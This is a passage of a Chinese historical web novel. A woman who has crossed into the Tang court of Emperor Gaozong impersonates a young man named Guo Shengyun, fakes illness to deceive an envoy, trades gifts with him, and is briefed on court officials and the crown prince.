只落后贺兰敏之两步的郭待封毫不怀疑,如果郭升云没有在装病,还是装手提不起笔的病弱,他现在绝对又一脚往那个秦四的身上踹了,也不知道秦四上辈子的名字是不是叫蹴鞠。 但现在,屋里只传来了一阵接连不断的咳嗽声,以及咳嗽过后,有些气急败坏的声音:“你——你懂什么!” “如果是一般的使者就算了,为何来的是那贺兰敏之。” 他话说得急,便又是一阵撕心裂肺的咳嗽。 郭待封抚额,不知该不该说,这种干咳其实听起来还是有点假。 可屋中传出的下一句话,却充满了真情实感,也让人直接忽略了前面的咳嗽。 “我……我若没有半道遇袭,又随后病倒,必定要比那贺兰敏之颜色更好。现在让这个京中出名的美男子来当使者,不是来让我难受的吗!” “堂兄也是个没用的,府上竟无好用的脂粉颜料与好看的衣服,能让我在病中……咳咳……撑一撑场面!” 屋中的仆从显然已是很无奈了。“郎君……男儿无需好颜色啊。” 郭升云怒道:“我要能出口成章,令长安纸贵,还用你提醒我这个?!我不就剩个脸吗。” “噗……” 贺兰敏之以手覆面,差点笑得前仰后合。 哈哈哈哈哈。 他想过表弟可能会被郭待封这个家伙带偏了想法,面对他这个前来探病的人没多少好脾气可言,唯独没有想到,还能看到这一出戏呢。 别看表弟字字句句全在恼怒,听起来还是个只有皮囊而无内在的蠢货,贺兰敏之却觉得,这位表弟不失为一个可结交之人。 没听他说吗? 贺兰敏之,乃是京中出名的美男子。是让表弟在病中自惭形秽,不惜病情加重,也要梳洗打扮以迎的人。 这不是在夸他贺兰敏之,还是什么? 他伸手便推开了眼前这堂屋的门户。 屋中的动静戛然而止。 刚才还在气急跳脚的人仿佛是想要缩回到床上,却还没能来得及,以至于整个人都如雷劈了一般僵在原地,就顶着一身衣领微敞的造型站在地上,呆呆地看过来。 那张略经脂粉修饰的脸,仍能让人看出藏匿在下方的病气,却也好看得让贺兰敏之微微一愣。 不必怀疑,倘若病情痊愈,他必是个翩翩少年。 一想到正是这样的人,为了他的到来而有了这种种失态行径,贺兰敏之只觉自己心情大好,无比熨帖! 这爱美之心,也果然和他是同出一门。 是他的好表弟。 他上前几步,将祝以灵推回到了卧病的床边,看人虚弱地半躺了下来,开口劝道。 “诚如你家仆所言,表兄此来只为探病,表弟切莫有那些无用的比较想法。也不知道是谁人从中挑拨,竟让你觉得表兄会笑话于你。” 祝以灵把头往床内一转,不说话了。 9. 009 贺兰敏之笑得肩膀抽动了两下。 像是觉得这般笑话一个正处郁闷当中的表弟着实不妥,只将声音压在了喉咙里。 “表弟这是做什么?” “看不出来吗?”郭待封从后方跟了进来,“效仿先人呢。” 他简直想夸郭升云一句,蠢人自由发挥,竟也有误打误撞的招。 郭升云恼怒贺兰敏之在这个时候上门的理由是真,恼怒郭待封强求他装病且没有鲜亮的衣物供给他借用,也是真的。 至于现在,他应是不知道该在贺兰敏之面前说些什么,又怕多说反而暴露了装病的事实,干脆面壁思过。 可这个表现,竟是又碰了大运,有门道可说了! 贺兰敏之拧眉:“效仿先人?” 郭待封唇角微扬:“效仿汉武朝那死前因容颜有损而不敢见君王,便用被褥蒙头的李夫人。” 床上的少年大怒,一个翻身就坐了起来:“你骂谁死了呢!” 但像是意识到自己的声音依然呕哑难听,形象因为病容而大为不妥,马上倒了回去,彻底用被褥蒙住了脑袋。 被褥下的人又猛地一僵。 许是做出了这个举动,才意识到,这又对上了郭待封的那句调侃之辞。 可再从里面钻出来,实有欲盖弥彰之感,还不如两腿一蹬,姑且装成是死人了。 “算了算了。”贺兰敏之拍了拍被子。 这个意外讨喜的表弟,让原本有些心情不畅的贺兰敏之,像是捡到了宝,转眼间又高兴起来了。 眼瞧着郭升云这脾气,估计也没对郭待封这边有归属感,等病好了之后他多来两趟,就能把这个同路人给撬走了。 肚子里没墨水更好,还能在他贺兰敏之旁边做个陪衬。 比起聪明人,当然还是这种横冲直撞的,让人觉得相处起来轻松。 他开口劝慰道:“等表弟养好了病,去外面走动一番,必定让京中盛传的美男子里再多一人,何必现在就急头白脸地闹。镜子一砸,衣服一撕,让外人看了笑话。” “而且你也不想想,若皇后殿下只让宫中一身份平平的侍从前来,那才叫对你的忽视,由我前来,才显出重视,哪有什么难堪的。” “你就这般躺着不必出来了,有什么话隔着被子说。表兄可以指天发誓绝不外传,就看这位替你告假的郭世兄,愿不愿意给你这个面子了。” 郭待封闻言,啧了一声。 要不说贺兰敏之是奸猾谄媚之人呢。 学问不见得有多少,嘴巴却是真会说话。 三言两语间,又是安抚住了原本不想见他的郭升云,又把郭待封定性为外人,还偷偷摸摸在最后一句里,藏了挑拨离间的意思。 但郭待封要是真因为这些话,就和郭升云生分了,岂不是正中了贺兰敏之的圈套? 那贺兰敏之自诩聪明,又怎会想到,由他郭待封代写告罪书,都是由郭升云提出来的建议,连书函上印信的模糊,都是当着他面抹开的。二人也早有约定,要由郭待封讲清楚京中局势。 有这些共同的秘密在,贺兰敏之又算什么。 郭待封心念急转,脸上短暂浮起的不耐,就已被气定神闲取代。 “你要真拿你这表弟不当外人,还是给他点时间养病吧,你我去外面说。要真在这里过了病气,然后带到陛下面前,你贺兰敏之有几个脑袋都不够掉的。” 贺兰敏之幽幽地看了他一眼,冷笑了一声:“也好,总归今日知道了表弟是个妙人,来日病好,自当送请帖相邀。” 他自床榻边站了起来:“劳驾郭郎君领路,移步吧。” 郭待封:“请!” 祝以灵蒙在被子里,却没真当个躺尸悲愤的自闭鹌鹑,把外面的动静听得清清楚楚。 郭待封和贺兰敏之的脚步一前一后地离开。 她这间屋子刚才还被她大闹了一场,现在又已经恢复了安静。 祝以灵长出了一口气,从被褥里钻了出来,把这件贡献了重要作用的道具,披在了身上。 谢天谢地,可算是暂时完事了。 从贺兰敏之的表现看,他应该是没察觉到祝以灵在装病,全部的注意力都被那撒泼打滚式的“夸奖”给吸引了过去。 更重要的是,在这第一次仓促而短暂的见面中,出于两方面的考虑,他都在将祝以灵引为自己人。 完全没有考虑到,在装病之外,还有一个更加可怕的事实,那就是祝以灵她压根就不是郭升云。 至于郭待封那边,看起来也糊弄得很成功。 发疯好。 发疯果然有意想不到的妙用。 祝以灵一骨碌从被褥里彻底钻了出来,挪步到窗前,鬼鬼祟祟地把脑袋从刚才为了扔镜子打开的窗口往外探。 江盈也用同样的小心翼翼做派,从院门外往里探看,就看到祝以灵正在朝着她快速招手。 她连忙捧着手里那件用来充当借口的衣服,拔腿就往屋子这边跑。 一进屋子,就手脚麻利地关上了门窗。 但窗栓合上的下一刻,她就跟脱力了一般,直接坐在了屋中的地上,脸上写着心有余悸。 “咱们……是把这位表少爷应付过去了是吧?” “不止应付过去了,”祝以灵回答,“恐怕还会跟郭待封抢着当咱们的领路人。” “呼……那就好那就好。” 江盈原本并没看懂,为何在郭郎君让人提前回府告知陛下遣使探访的消息后,自家小郎君要弄出这样的动静,现在却已在贺兰敏之和郭待封离去的表情中大致看明白了。 看明白后,望向祝以灵的表情也就越发钦佩了。 往日在郭家的时候,小郎君虽然聪慧,却还是难免为身份所限,时常要受到苛待,想不到当日奋起举刀杀了郭升云,竟然非但不是接受审讯的灾厄开始,反而是把路越走越顺了。 再看旁边,那秦四刚与小郎君配合着演了一出戏,现在也越发意识到,平安走出长安城,或许并不是个遥不可及的幻想,把脸上时而出现的那股子怨念往里藏了藏,哪有先前的喊打喊杀。 “也别高兴得太早了。”祝以灵深叹了一声。“郭待封这里有先入为主的印象作祟,贺兰敏之有皮囊在外却是个草包,两个人还都有拉拢我为他们所用的想法,这才没法以平常心评估我是何许人也。皇帝和皇后,还有朝堂上的那些官员呢?” 祝以灵自认自己的演技并不出众。 就像刚才,如果不是大多戏码都是隔着屋舍的墙演出来的,贺兰敏之入内后,她又面壁或者躲到被子里了,她是真的有可能笑场,让人察觉端倪。 再往前算,她试图扮演个不学无术的纨绔,其实总用瞎说浑话和打骂仆从的办法,可这尽是不能多用的老套路。 称不上是“一招鲜吃遍天” ! 她还!不!是!个!真正的古代人! 到皇帝面前怎么演? 她冷着张脸,神情严肃:“你们是不是还忘了一件事,我对宫中礼仪一窍不通,郭待封或许会告诉我京中人情往来,却不会请人来教我这个!” 江盈在路上告诉过她。 原本的郭升云遇事胡来,但在启程来关中前,还是恶补过礼数的。 可身为外室子的祝以灵,却没有这个进学的机会。 她不仅文盲,还礼仪废……哈哈哈,真没招了。 怎么不能给她穿一个皇帝是笨蛋的朝代呢? 那她指不定还能用古装剧里的套路生掰硬套。 可惜,唐高宗李治能从李世民的一众儿子里脱颖而出登上皇位,解决掉那些牵制住手脚的宗亲外戚,完全掌握朝政,就不是一般的聪明。 他的皇后,未来的女皇武曌,更是聪明得不能再聪明。 糊弄过去了贺兰敏之,充其量也就是翻过去了第一道门槛而已,连真正的大山都还没见到呢。 江盈闻言顿时急了:“那我们现在怎么办?趁着贺兰郎君对您印象正好,向他请教?” “不,当然不行。”祝以灵面露思量,“贺兰敏之那边,维持住能替我说好话的关系就行,已经在他面前卖过蠢了,就别露出更多的破绽。” 秦四大为赞同:“这话说得不错。我看此人举止轻浮并不可信,今日能因您礼仪不通,需要依赖于他,视为一件好事,明日,就能因此将此事告知皇后,告您一个行止无状!” “所以我另有想法。” 祝以灵眼中,跳过了一缕光亮。 不会礼仪,那就先想办法找一个不需要礼仪的环境见驾。说不定有点机会。 这个机会,得看看她现在的一位好堂兄一位好表兄,能不能送来给她。 “哎我头还晕着,就先躺下了。”祝以灵躺了回去。 秦四想说,反正现在也没有外人在,不必这般演戏,但想想祝以灵额头上的伤和她气血不足的状态都是事实,又把话憋回肚子里了。 忽听躺在床上的祝以灵开口:“秦四,你替我跑一趟。” “……啊?” “从侧门出府去,避开郭待封的眼线,待贺兰敏之离开时拦下他,给他送一份礼。” 秦四有点着急:“可咱们好像没带什么重礼傍身。” 就算有的话,也是送与皇帝皇后的,不是用来送贺兰敏之的。 祝以灵摆了摆手:“送礼这种东西,要么下重礼,要么讲究一个礼轻情意重,就跟我刚才捧他那几句一样,说他爱听的就行了。总不能让这次见面真的结束在被子蒙头吧,得让他知道,我承了他的好意。” …… “所以,这是你家郎君让你送来的?”贺兰敏之玩味地看着手中的“礼物”。 说它是礼物,可能还真不算太恰当,因为那并不是一件有多名贵的东西,而是一只绘有佛莲与牡丹的宝相花镜。 秦四答道:“我家郎君说,镜主辟邪,既出府门,应照之。” 贺兰敏之愣了一下,待反应过来话中的意思,当即大笑:“哈哈哈哈我就说,我这表弟果然是个妙人!” 出府照镜,谁家有邪祟,还用说吗? 他这表弟,只怕不仅怪郭待封没几件合用的衣服,还怪这地方风水不好,不是个养病的好去处呢。 10. 010 今日虽没和表弟说上几句话,但已初步建立起了友善的关系,也就不算白来。 却不知这铜镜之礼,在贺兰敏之这里是驱邪良品,到了郭待封面前,又有了另外的说法。 * 郭待封刚踏进屋子,就见祝以灵从床上一跃而起。 左右看了看,见没跟来什么需要隐瞒真相的仆从,更是演也不演了,趿拉着脚步,大爷似的往窗边坐榻上一坐。 像是终于挣脱牢笼的野生动物,又比野生动物多了点自卖自夸的傲然:“怎么样,没让兄长你那封告假的文书白写吧?” 郭待封叹气:“还算你聪明。” 祝以灵更得意了:“我不仅聪明,还大方,贺兰敏之走的时候,我还给他送了份礼物呢。” 郭待封脸色一变:“你送了什么?” 他府中的仆从都是干什么吃的! 居然连郭升云给贺兰敏之送礼这件事都没看到上报,还是郭升云记得自己如今住在谁家,坦率地告诉了他。 谁知道下次错报漏报的又会是什么。 他这两年为了重振阳翟郡公府的声誉,多是在外经营往来,竟没想到,府中就是这般敷衍的。 郭升云像是浑不明白他在这里气恼什么,疑惑地看过来:“送了面镜子呗,上好的宝相花镜,东西是不贵,但寓意上乘。” 郭待封迟疑:“什……什么寓意?” “先前我把自己桌前的镜子砸出门去,在他面前摔裂了,他要是心眼小一些,岂不是要觉得,这就跟什么割袍断义一样?我还一面上好的完整的镜子过去,向他表一表态。” “你再看镜子背后,莲表高洁,牡丹乃是雍容之花,这还不算是夸他的好礼物?” 祝以灵说得坦荡极了,眼里还存了点邀功之色,仿佛是在说,我可是控制住了自己的臭脾气,对着皇帝陛下派遣来的使者表达了善意,是不是还算有点救? 郭待封却是听得眼前一黑又一黑的。 造孽啊! “你……你可知易碎之物,除却花瓶这样的摆件,尽量少做送礼的物事?尤其是你还在他面前砸开了一面。” 祝以灵啊了一声:“送不得吗?” 郭待封无语到家了:“当然送不得!这镜子碎了再送完整的,更是……哎呀!不闻古语有云,昔有夫妇将别,破镜,人执半以为信。分开作半,重聚成圆,实为夫妻信物,哪是用在这里的。” 也不想想,镜子是摆在卧房里的私密物件,其中寓意不言而喻。 但眼瞧着郭升云连那第一重送礼的禁忌都没想到,更不能想到这第二重。 “可礼已送出去了……” “也罢,送了就送了吧。”郭待封疲惫地摆了摆手。 还能现在冲到贺兰敏之面前,把礼物要回来吗? 起码不是跑到那家伙面前,大喊一声挑衅,已经很有进步了。 “只是……”郭待封严肃地盯着祝以灵,提醒道,“你往后若再要送礼,必须由我来安排,切莫擅作主张。” 少年迟疑了一下,还是在这“强硬”的威慑面前,点了点头。 趁着时间尚早,郭待封没着急离去,干脆先往眼前的灯座里又添了些灯油,把“郭升云”有可能会遇上的人所涉及的禁忌,一股脑先说了一通。 祝以灵哪敢错过这么好的机会,连忙竖起耳朵,唯恐落下一个字。 她对唐朝的知识储备,大多来源于看过的电视剧,演过的龙套,和打过的游戏。但众所周知,电视剧会魔改,游戏会强化原创剧情…… 还真不如郭待封此刻说出来的有用。 比如说,曾任中书令的来济虽然在朝中还有些人脉,也没像郭待封之前提到的褚遂良一般病逝在任上,但他同样因为废王立武事件,被贬出了京城,现在正在西北吃沙子。 别没事干跟人聊起这位的话题。 毕竟,从宰相到边州司马,也不过是皇帝一念之间的事情。 祝以灵连这名字都没听过,哪会扯闲话扯到他,点头点得有点敷衍。 再比如说,曾经名噪一时的外戚长孙无忌,死于两年前的联合审讯,谋反被断为事实,最后逼令自杀。 负责审讯此案的官员,还活着的、还在长安的,剩下三个人,英国公李勣,中书令许敬宗,兵部尚书任雅相。 没事别在他们面前提起长孙无忌。 祝以灵差点当场翻个白眼给郭待封看。 真看得起她啊。 一个开国名将,两个当朝宰相,也是她能见得到的?在见到这种重量级人物之前,她保管已经拍拍屁股从长安跑路了。 再再比如说,户部尚书窦德玄和中书令许敬宗表面看起来关系尚可,又都权势不小,还都是陛下在太子时期的旧臣,但也不知道是哪里出了问题,后者对前者的态度总是不大好。 名义上是嫌弃对方文化水平堪忧,却身居高位,实际上的理由,反正是不会让他们这些小虾米知道的。 按照郭待封的说法,前者是个好好先生,平日里没那么多计较的东西,只要别站在他脸上犯贱,应该都没什么问题。 但后者……就挺爱记仇的。 如果先跟窦德玄说话了,不建议去赴许敬宗的宴,他可能会用考你学识的方式让你下不来台。 祝以灵:“……” 哇——这就很恐怖了! 她没听过窦德玄这个名字,但一定离许敬宗远远的。 “还有两个人,官职都不算极高,但在他们面前一定多给些尊重。像我这弘文馆待诏,更是要对他们谦恭处事才好。” “一个是太子中舍人、弘文馆学士上官仪。他虽是太子属臣,但太子为皇后所出,如今才不过十岁,并无朝中实职,所以上官仪便是太子的半个老师,平日里还是在御前行走,靠着笔杆子在陛下面前得用。” 郭待封在笔杆子三个字上,专门加了一点重读。 祝以灵连忙附和:“我明白,得罪谁都别得罪笔杆子。” 笔杆子写了挖坑的话,都不一定看得出来呢。 郭待封对她的这句总结很是认可,继续说道。 “另一位也是个拿笔的,但不是在陛下面前写文作诗的,乃是如今的国子监祭酒令狐德棻,自贞观二十年入职朝中到如今,他已修撰了 多部史书,还有大唐仪礼、氏族志这些文书。” “我也不知以你的身份,皇后殿下会更属意于让你如那些贵戚子弟一般,直接进弘文馆,还是与各州举荐上来的学子一并进国子监,总之这位国子祭酒是必须执弟子礼以待的,朝中也有不少人,就是他教出来的。说一句桃李满天下,并不为过。” “他今年已近八十的高寿,你……” 祝以灵嘴角抽动了一下:“兄长,你以为我是何人呢?” 她是演出了一副粗鄙胡来的样子,但还不至于跑去一脚踹飞一个八十岁的老人吧? 哦说起来,这位老人参与修编的《大唐仪礼》,如果有机会的话,倒是可以麻烦郭待封帮忙借阅一下,说不定能让她学到点实用的东西。 至于另一位笔杆子上官仪? 该说不说,哈哈,终于听到一个认识的名字了,也是挺不容易的。 但如果她没记错的话,这位好像没什么好结果吧? 果然,笔杆子是高危职业,还是她这种文盲比较好。 有先前那出送镜子为礼的表现,郭待封已经预订了她在长安时的送礼审查员,起码不会因为送错了礼物被人发现破绽。 只希望面圣这一关也能平稳度过,然后她就可以功成身退,离开关中了。 可千万别出什么岔子啊! 祝以灵在心中如是许愿。 同处一室的郭待封不知祝以灵所想,见她难得神情严肃,似是怀着一份期许,还以为今日陛下遣使到来之事,以及方才所说的种种,总算是让这家伙有了人在关中长安的意识,不免在心中宽慰了几分。 可第二日在弘文馆遇上贺兰敏之的时候,这种还算不错的心情,又在对方看过来的嘲弄目光中灰飞烟灭。 贺兰敏之在嘲弄什么? 觉得他郭待封押错了宝,将一个无用之人当作讨好皇后的筏子吗? 贺兰敏之整了整衣袖,从容不迫地从郭待封的身边走了过去。却在两人即将擦肩而过的瞬间,身形随着脚步一错,而歪斜了过来,“不经意”地撞到了郭待封的肩膀。 他连忙往旁边走开了两步,脸上含着一缕对郭待封的歉意,可说出的话,又与挑衅无异。 “我看,郭郎君府上真该驱一驱邪了,也好让小郭表弟的病情早日康复。” 郭待封皱眉:“你这是何意?” 贺兰敏之言笑晏晏:“当然是表达兄弟关切的意思,有一份礼物想请郭郎君转交表弟,就当是我昨日忘了带给他的见面礼。” 郭待封可不信,似贺兰敏之这么刻薄的人,能有这样的好心。 待得回府之时,他果然见到,在这份送来的礼物中,除了有一盘金银之外,还有两件颜色鲜亮的华服。 那分明是对昨日那一出的嘲讽! * “这位表兄当真仁义!” 郭待封刚走,祝以灵就忍不住抓起了一枚金铤,对着烛火看了又看。 比起今日摆脱郭待封带回的两卷《大唐仪礼》,果然还是这一枚十两黄金的金铤更让人有安全感。 这是什么?这是她将来跑路的路费。 11. 011 而且这一盘金银中,还不止是这一枚十两黄金的金铤而已。 长约两指,宽一寸的十两金铤,有三枚,另有十来枚银铤在旁,模样并不像后世的金条银条一般,有着光滑的表面,反而有点糙。 但祝以灵是什么人?反正不是嫌弃钱的人! 只不过这笔钱,得换个收法,要不然,她先前的两头横跳,可就全白费了。 次日郭待封下朝回来,前来验收祝以灵今日学习成果的时候,就见她将那一盘子金银,推到了他的面前。 “这是何意?”郭待封皱眉,“云弟来我府上作客,本就是我主动邀约的,大可不必这样客套,用此金银相赠。” 祝以灵当场就瞪大了眼睛:“堂兄怎么会这么想!我早将你当作半个兄长了,至多就是在离京时送你一份厚礼,怎会用粗俗的金银,来玷污这兄弟之情。” 郭待封:“……” 这话确实是顺着他的意思往下讲的,但为什么听起来,就是有哪里怪怪的呢? 尤其是这“粗俗”二字,简直是像在点他什么。 祝以灵的后半句话又已经说出了口。 “我是想拜托堂兄一件事。可否帮我将这些金铤银铤,换成小金饼?” 她把金铤翻了个面,让侧边的小楷露出在了郭待封的眼前。 “那日送礼不妥,我已记下了,想着随后再有礼物往来,必定要在堂兄的指点下让人采买。这金铤倒真是解了我囊中羞涩的困局,却似乎有其他麻烦?不知我理解的对不对。” 郭待封的目光扫过了这一行字,顿时明白了祝以灵话中的意思,不免对她投来了一道孺子可教的赞许眼神。 这金铤算来还是个时兴货色,今年打的。 但问题,也就出在了今年打的上。 这是一批皇后赐下给贺兰家的金铤,上面还有“龙朔元年,贡金拾两”的字样。 被贺兰敏之这样转手赠予表弟无妨,但若用来拿出去用,在名声上不大好听。 郭待封点头:“我即刻让人给你换来。另外,这是你昨日向我索要的字帖,我也一并带来了。” 祝以灵还能说什么,只能多谢堂兄。 也不知道这位堂兄是不是还因贺兰敏之对她的赏识,而生出了几分危机感。 等那一盘金银变成了毫无标记的小金饼送到祝以灵面前的时候,她拿着江盈从厨房借来的秤粗粗一估量,便高兴地发觉,最后折算下来的钱,比原本多出了三成。 郭待封这座宅邸占地大,维护费用高,他自己却还只是个弘文馆待诏,手头的结余应该并不太多。 这三成,也算是他给堂弟的一笔厚礼了! 祝以灵在木匣的底部铺了一层隔板,将数枚金饼银饼放在上层,充作了满满当当的样子。 余下的还有不少,连夜缝入了衣服的夹层当中。 秦四、郭易几人拿到衣服的时候,都愣了一下。 “可别说我厚此薄彼啊,咱们如今虽然情况尚好,但指不定明日就要跑路,先将这赃款各自分上些,万一真到了逃遁的时候,也有钱可用,不至于像是逐食的流浪之人。” “这小金饼上不似金铤一般绘有铭文,虽然拿出来还是显眼了些,但总不至于叫人一眼就看出了底细。” 几人没说什么,只是接过了衣服。 但正在缝最后一件衣服的江盈微微抬头,借着屋中的烛火端详着这几人的脸色,却瞧见那最是面冷心硬的家伙,也闪烁了一下目光。 虽然她也不敢有什么过多的期待,知道她们这伙人有大难临头各自飞的可能,还是在这场面前,先觉得心安了一点。 不知道是不是她把属于自己的那件衣服小心折叠,放在了枕头下面的缘故,江盈这一晚上睡得格外的好。 甚至还梦到,自己数了半夜的钱。 最后越数越多,干脆摆烂不数了,直接给自己打了个金床。 她晨起给祝以灵梳洗的时候,嘴角还是微微上扬的。 祝以灵疑惑地看了她一眼,她才收敛了一下动作,摆出了端正的样子。 “咳……想到今日要替小郎君去外面街坊转一圈,心里高兴。” 祝以灵没揭穿她。 不过对一个从小在太原长大的人来说,在长安繁华的街市上逛上一圈,确实是新奇的体验。 可惜祝以灵仍在装病之中,不便在这个时候偷溜出府,也就只能让江盈充当她的眼睛,替她去确认一件事了。 “你高兴归高兴,记得我安排给你的差事。” “明白!” 江盈连连点头,和同样被祝以灵指派的郭易一起出了门。 这一出门,就是大半日,等到下午过了半,才回到了府中。 带回来的,除了一张周边街巷的宅院分布,还有一条祝以灵专门让她去打听的消息。 江盈并不明白小郎君为何要让她打听这件事,但就跟她先前并不明白为何要扮演个纨绔一般,料来自有她的道理,她只需照做就是。 这趟出府之行,因为郭待封刚整饬了一番仆从,还是被禀报到了他的面前,但并没有引起他多大的注意。 毕竟,初来长安的人,大多会对这座帝都怀有憧憬之心,只怕迫不及待就想要走遍各个里坊。 也就是郭升云的情况委实特殊,才被迫先靠着仆从的转述,解一解馋。 更让郭待封没空管这件事的,是他今日收到的一桩差事。 太子李弘的差事。 按说,一个年仅十岁的孩童,是没什么要事可言的。 但陛下对太子宠爱有加,皇后也有心替太子多添些履历,于是自两年前开始,便由太子“命令”中书令许敬宗、黄门侍郎许圉师、太子中舍人上官仪、卫尉少卿杨思俭等人,收集古今文集,从当中选出五百篇来编写成集。 早在文集编纂成书之前,就已有了个听起来就很文雅的名字,叫做《瑶山玉彩》。 这算是巧了,龙朔改元时,这文集的修编工作已完成了大半。 正好如今各方杂事都已完备,有了空余的人力,便需尽快把剩下的校对工作完成。 若真能在这一两年内完成,说出去就是,太子为庆贺祥瑞之兆,集合古人雅慧,敬献父皇。 谁听了都得觉 得,这位皇太子既有本事又有孝心。 郭待封这位弘文馆中就职的官员,就这样被抓了壮丁,分到了几篇修订批注的文书。 在完成原本的修编工作之外,还得在太子的这件大事上尽一尽力。 可如今的文书校对,并没那么容易。 前有南北朝和隋末乱世,就连礼法律法都是到了太宗朝和本朝重新修订的,那些古人经文大多遗失在了战乱当中,需得考究各方誊抄的竹简与碑文,才好确认通篇当中是否有一字之失。 以至于当祝以灵再次见到他的时候,竟差点分不清,到底谁才是病号。 郭待封的脸色委实算不得好。 因为熬夜的缘故,眼下还有些青黑。 “郭升云”是个说话直率的性格,当即把话说出了口。 “堂兄这面色,真是让人怀疑,在京中当官到底好是不好了。” “这有什么不好的?” 郭待封虽然有点郁闷,自己好似在堂弟面前丢了点脸,仍是回答得不无骄傲:“云弟可知道,贞观年间的官员好当,参考七千人,能有六千人混上一官半职,如今却不是这样。” “每年因过错或是告老而卸任的官员仅有五百人,靠着铨选获得为官资格的,却足有一千五百人,前些年过了考核却没做官的人,也还有数千。也就是我既有父辈余荫,又在陛下亲自主持的殿试当中出头,才能直接在陛下面前为官。” 其他人还不知要花多少年才能走到这里。 祝以灵连连点头,捧他一下:“这便是千军万马过独木桥了。” 现代人考试成风,还有考公这一出,反正都是从科举演变过来的,如今到了古代见到原版,她听了听入职比例,又觉得还行。 嗯…… 能这么冷静地评价,也是因为她不算局中人。 谁让她是个开局就有“考公污点”的杀人犯,没必要考虑自己如何过关。 只不过她这过于坦荡的表现,落在郭待封的眼中,就俨然有了另外的意思。 和那些需要苦苦挣扎一个席位的人相比,郭升云的母亲与皇后是亲姐妹,便已赢在了开头。 郭待封看了看面前,忽然若有所思了起来:“说起来,若是你过些时日面圣表现得宜,说不定在就读于官学之余,也会被皇后殿下安排进这件差事当中。” 他心头思量,越发觉得自己的猜测有点道理。 不,不是有点道理,是顺理成章! “这修编文集一事说难不难,说简单也不简单,却是太子殿下督办的第一件要事,凡是参与其中的,便都说得上是为太子效力了一回。以我看,你既是太子的表兄,应当不会被漏在此事之外?” 给太子镀金是镀,余下的金掰给太子的表兄抹个脸,完全够用。 怪不得皇后在这个时候叫人进京呢。 祝以灵眨了眨眼睛:“我吗?” 喂!这是不是太为难一个文盲了! 郭待封却笃定地点头:“当然是你!要这么看,你不仅得妥当地应付过去面圣这一出,还得想想,届时如何在太子面前,争一个表现。” 12. 012 早几年间,还有人怀疑太子的位置是否足够稳固。 李唐的这前三位皇帝都有废太子的前科;武皇后又曾是先帝的妃嫔,有在感业寺中出家的经历;太子也不似当今陛下一般,曾有长孙无忌这样一个卓有才干的外戚相助…… 简直像是将一个个颇有负面效果的特征叠加在了一起。 但如今是没人有这样的怀疑了。 起码像郭待封这种能在御前走动的官员,怀疑什么,也不会怀疑太子的地位。 陛下的长子李忠,原本在失去太子之位后,还能在梁州当都督,可到了去年,随着陛下在朝堂上的掣肘进一步被瓦解,这位先太子竟是被褫夺了官职,贬为庶民,被囚禁在了太宗朝废太子李承乾的旧宅中。 用一种最为直白了当的方式告诉了所有人,这位先太子再没有了起复的希望。 而陛下为了打消他另外几个儿子对皇位的觊觎,甚至在由皇后协助他打理政务后,说出了一句有些匪夷所思的话。 他想从太子这里,为武后所出的三个儿子单独序齿。 如今的太子李弘,也就变成了另一种意义上的长子。 不过这里有些话,不方便和面前这个有时候口没遮拦的家伙说。 郭待封就只是又强调了一遍:“总之,和太子打好关系,对你来说只有好处。” 见祝以灵眉眼间似有沉思之色,他追问:“你在想什么?” 祝以灵将神思一收,回道:“在想太子是个怎样的人。兄长你也是知道的,北方对宫中的情况全是一知半解,还往往延后几年……” “哈哈,”郭待封笑了,“太子如今也就十岁的年纪,你的意思是,你听说的还是他五六岁时的事情?” “不是……”祝以灵一本正经地瞎胡扯,“我听说,是他出生的时候,有老君仙迹遗泽,于是取了老君的降世化名,此事是真是假呐?” “去去去,少在这里胡说八道这些。” 郭待封真是对郭升云无语了。连皇帝给皇子取什么名字都敢乱八卦。 但他又恍惚在想,该不会真是陛下和皇后去年去并州的时候,让人在文水散布出去的消息,以便让太子在民间累积声望吧? 且先将堂弟的这句话记下,将来找人问询一二好了。 他一边想着,一边岔开了话题:“你要说太子是怎样的人,我是不敢妄言的,而且说实话,十岁的孩童往往尚未定性,哪能轻易说出个子丑寅卯来。倒是有一件事,你该记上一记。” 祝以灵:“堂兄但说,我洗耳恭听。” 郭待封:“太子不喜《春秋》。” 祝以灵拍桌喜道:“那可太好了,我也不喜欢!” 《春秋》? 她对春秋的印象只有《曹刿论战》和《烛之武退秦师》这两篇学过的课文,其他没了。 上有所好,下必甚焉,太子不喜春秋,岂不是意味着下面的人也不会提太多? 好好好,她可以少记一部分东西来装本朝的人了。 郭待封无语地看过来,“你不喜欢春秋的原因,和太子不喜欢春秋的原因能一样吗?早前太子的老师教他读左氏春秋,学到楚世子芈商臣弑杀君王那段,太子不忍卒读,听之叹息,觉得此等恶行不该传于文字,令后来人品读,于是改学《礼记》去了。此为太子仁善,你是何故?” 祝以灵坦然回答:“我也有仁善之心呐。” 这自吹自擂,让自诩已经习惯了郭升云一应行径的郭待封,都又沉默了一会儿。 他过了须臾,才找回了声音:“……也罢,你与太子总算是要比我们这些人年岁相近些,说不定还真能对了他的胃口。” 祝以灵不乐意了:“兄长何故如此损我?我已年满十六,比之太子大了足足六岁,放在官场上已是官员一轮又半的任期了,怎能说年岁相近!” …… “而且说实话,我觉得这太子有点装。”祝以灵从郭待封这里回来,对着江盈小声说出了后半句。 江盈疑惑:“什么叫装?” 祝以灵懒洋洋地用扇子敲了敲手心:“就是有点站着说话不腰疼。” 这个不喜欢春秋而改学礼记的理由,真是把祝以灵听得一愣一愣的。 但长安城中把这个故事传出来,用以宣传太子的仁德本性,她又没法说什么,或许这当中也有些艺术加工的成分。 要不然这个太子就真有点不适合作为国家的最高领导人了。 江盈凑过来问:“那按照您刚才说的,郭待封越是这么说,您越不能入太子的眼,被强留在长安城,是不是就要与太子反其道而行?” “聪明!” 江盈的眼睛亮了起来。 打从更换了身份后,来长安的路上,她就跟着祝以灵用饭,因营养不良而略有凹陷的脸颊,都被养得丰盈起来了些许,加上气色正好,看起来多了点属于这个年龄的活泼。 虽然下一刻,她的脑袋上就挨了祝以灵用扇子轻轻的一敲:“但只聪明了一半。哪能做得这么明显呢?” 郭待封都专门跟她说了春秋、礼记抉择的故事了,她要还直接反其道行之,就是把“她有问题”摆在明面上。 所以她是要惹太子不快,但不能在这种善恶之辨上直白地惹恼对方。 她要平安见驾不露破绽,又不能得罪皇帝皇后,只能略微展示草包本质。 哎呦,真是服了! 祝以灵越想越觉得,这好像跟甲方向乙方要求,方案需要五彩斑斓的黑,没什么区别。 哦不对,区别还是有的。 做不出五彩斑斓的黑,她最多是挨个骂,但现在,混不过眼前的这出戏,她要丢的是自己的脑袋,和来之不易的小命。 “这个太子……” “郭郎君!” 